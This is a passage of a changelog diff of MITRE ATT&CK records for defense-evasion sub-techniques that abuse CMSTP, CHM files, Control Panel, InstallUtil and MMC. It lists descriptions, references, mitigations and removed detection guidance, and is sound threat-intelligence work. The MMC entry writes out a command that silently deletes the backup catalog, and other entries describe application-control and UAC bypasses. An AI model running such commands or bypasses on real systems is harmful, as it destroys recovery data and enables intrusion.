+ "Linux",
+ "macOS"
+ ],
+ "x_mitre_version": "3.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Module: Module Load\", \"File: File Creation\", \"Process: OS API Execution\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:43.406000+00:00\", \"old_value\": \"2025-04-15 19:58:27.332000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\\n\\nMonitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\\n-\\n-Monitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.\"}}}",
+ "previous_version": "3.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1021: Restrict Web-Based Content",
+ "M1026: Privileged Account Management",
+ "M1037: Filter Network Traffic",
+ "M1038: Execution Prevention",
+ "M1042: Disable or Remove Feature or Program",
+ "M1050: Exploit Protection"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)",
+ "DS0029: Network Traffic (Network Connection Creation)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0081: Detection of Proxy Execution via Trusted Signed Binaries Across Platforms"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-23 18:27:30.656000+00:00",
+ "modified": "2025-10-24 17:48:45.149000+00:00",
+ "name": "CMSTP",
+ "description": "Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1218/003",
+ "external_id": "T1218.003"
+ },
+ {
+ "source_name": "Twitter CMSTP Usage Jan 2018",
+ "description": "Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved September 12, 2024.",
+ "url": "https://x.com/ItsReallyNick/status/958789644165894146"
+ },
+ {
+ "source_name": "Microsoft Connection Manager Oct 2009",
+ "description": "Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.",
+ "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)"
+ },
+ {
+ "source_name": "MSitPros CMSTP Aug 2017",
+ "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.",
+ "url": "https://msitpros.com/?p=3960"
+ },
+ {
+ "source_name": "GitHub Ultimate AppLocker Bypass List",
+ "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.",
+ "url": "https://github.com/api0cradle/UltimateAppLockerByPassList"
+ },
+ {
+ "source_name": "Endurant CMSTP July 2018",
+ "description": "Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20190316220149/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/"
+ },
+ {
+ "source_name": "Twitter CMSTP Jan 2018",
+ "description": "Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved September 12, 2024.",
+ "url": "https://x.com/NickTyrer/status/958450014111633408"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Nik Seetharaman, Palantir",
+ "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "2.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:45.149000+00:00\", \"old_value\": \"2025-04-15 19:58:29.296000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\\n\\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\\n\\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +0,0 @@\\n-Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\\n-\\n-Sysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\\n-\\n-* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\\n-* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).\"}}}",
+ "previous_version": "2.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1038: Execution Prevention",
+ "M1042: Disable or Remove Feature or Program"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0029: Network Traffic (Network Connection Creation)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0328: Detection of Malicious Profile Installation via CMSTP.exe"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-23 18:53:54.377000+00:00",
+ "modified": "2025-10-24 17:49:11.609000+00:00",
+ "name": "Compiled HTML File",
+ "description": "Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1218/001",
+ "external_id": "T1218.001"
+ },
+ {
+ "source_name": "Microsoft CVE-2017-8625 Aug 2017",
+ "description": "Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.",
+ "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625"
+ },
+ {
+ "source_name": "Microsoft HTML Help May 2018",
+ "description": "Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.",
+ "url": "https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk"
+ },
+ {
+ "source_name": "Microsoft HTML Help Executable Program",
+ "description": "Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.",
+ "url": "https://msdn.microsoft.com/windows/desktop/ms524405"
+ },
+ {
+ "source_name": "Microsoft HTML Help ActiveX",
+ "description": "Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.",
+ "url": "https://msdn.microsoft.com/windows/desktop/ms644670"
+ },
+ {
+ "source_name": "MsitPros CHM Aug 2017",
+ "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018.",
+ "url": "https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "2.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:11.609000+00:00\", \"old_value\": \"2025-04-15 19:58:56.001000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\\n\\nMonitor presence and use of CHM files, especially if they are not typically used within an environment.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\\n-\\n-Monitor presence and use of CHM files, especially if they are not typically used within an environment.\"}}}",
+ "previous_version": "2.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1021: Restrict Web-Based Content",
+ "M1038: Execution Prevention"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0342: Detection of Suspicious Compiled HTML File Execution via hh.exe"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-23 19:59:52.630000+00:00",
+ "modified": "2025-10-24 17:48:45.979000+00:00",
+ "name": "Control Panel",
+ "description": "Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1218/002",
+ "external_id": "T1218.002"
+ },
+ {
+ "source_name": "Microsoft Implementing CPL",
+ "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.",
+ "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"
+ },
+ {
+ "source_name": "TrendMicro CPL Malware Jan 2014",
+ "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.",
+ "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
+ },
+ {
+ "source_name": "TrendMicro CPL Malware Dec 2013",
+ "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.",
+ "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/"
+ },
+ {
+ "source_name": "Palo Alto Reaver Nov 2017",
+ "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+ "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+ },
+ {
+ "source_name": "ESET InvisiMole June 2020",
+ "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.",
+ "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "ESET"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "2.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Module: Module Load\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\", \"Process: OS API Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:45.979000+00:00\", \"old_value\": \"2025-04-25 14:46:37.731000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014)\\n\\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\\n\\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\ControlPanel\\\\NameSpace and HKEY_CLASSES_ROOT\\\\CLSID\\\\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the CPLs and Extended Properties Registry keys of HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(\\\"c:\\\\windows\\\\system32\\\\control.exe {Canonical_Name}\\\", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}).(Citation: Microsoft Implementing CPL)\\n* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Controls Folder\\\\{name}\\\\Shellex\\\\PropertySheetHandlers where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL)\\n\\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014)\\n-\\n-Inventory Control Panel items to locate unregistered and potentially malicious files present on systems:\\n-\\n-* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\ControlPanel\\\\NameSpace and HKEY_CLASSES_ROOT\\\\CLSID\\\\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\\n-* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the CPLs and Extended Properties Registry keys of HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(\\\"c:\\\\windows\\\\system32\\\\control.exe {Canonical_Name}\\\", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}).(Citation: Microsoft Implementing CPL)\\n-* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Controls Folder\\\\{name}\\\\Shellex\\\\PropertySheetHandlers where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL)\\n-\\n-Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)\"}}}",
+ "previous_version": "2.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1022: Restrict File and Directory Permissions",
+ "M1038: Execution Prevention"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0194: Detection of Malicious Control Panel Item Execution via control.exe or Rundll32"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--2cd950a6-16c4-404a-aa01-044322395107",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-23 19:09:48.811000+00:00",
+ "modified": "2025-10-24 17:48:34.798000+00:00",
+ "name": "InstallUtil",
+ "description": "Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe .\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1218/004",
+ "external_id": "T1218.004"
+ },
+ {
+ "source_name": "MSDN InstallUtil",
+ "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.",
+ "url": "https://msdn.microsoft.com/en-us/library/50614e95.aspx"
+ },
+ {
+ "source_name": "LOLBAS Installutil",
+ "description": "LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019.",
+ "url": "https://lolbas-project.github.io/lolbas/Binaries/Installutil/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Travis Smith, Tripwire",
+ "Casey Smith"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "2.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:34.798000+00:00\", \"old_value\": \"2025-04-25 14:46:11.581000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\"}}}",
+ "previous_version": "2.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1038: Execution Prevention",
+ "M1042: Disable or Remove Feature or Program"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0138: Detection of Malicious Code Execution via InstallUtil.exe"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2021-09-28 01:36:41.638000+00:00",
+ "modified": "2025-10-24 17:49:40.236000+00:00",
+ "name": "MMC",
+ "description": "Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)\n\nFor example, mmc C:\\Users\\foo\\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window. \n\nAdversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the \u201cLink to Web Address\u201d snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\\path\\to\\test.msc.(Citation: abusing_com_reg)",
+ "kill_chain_phases": [
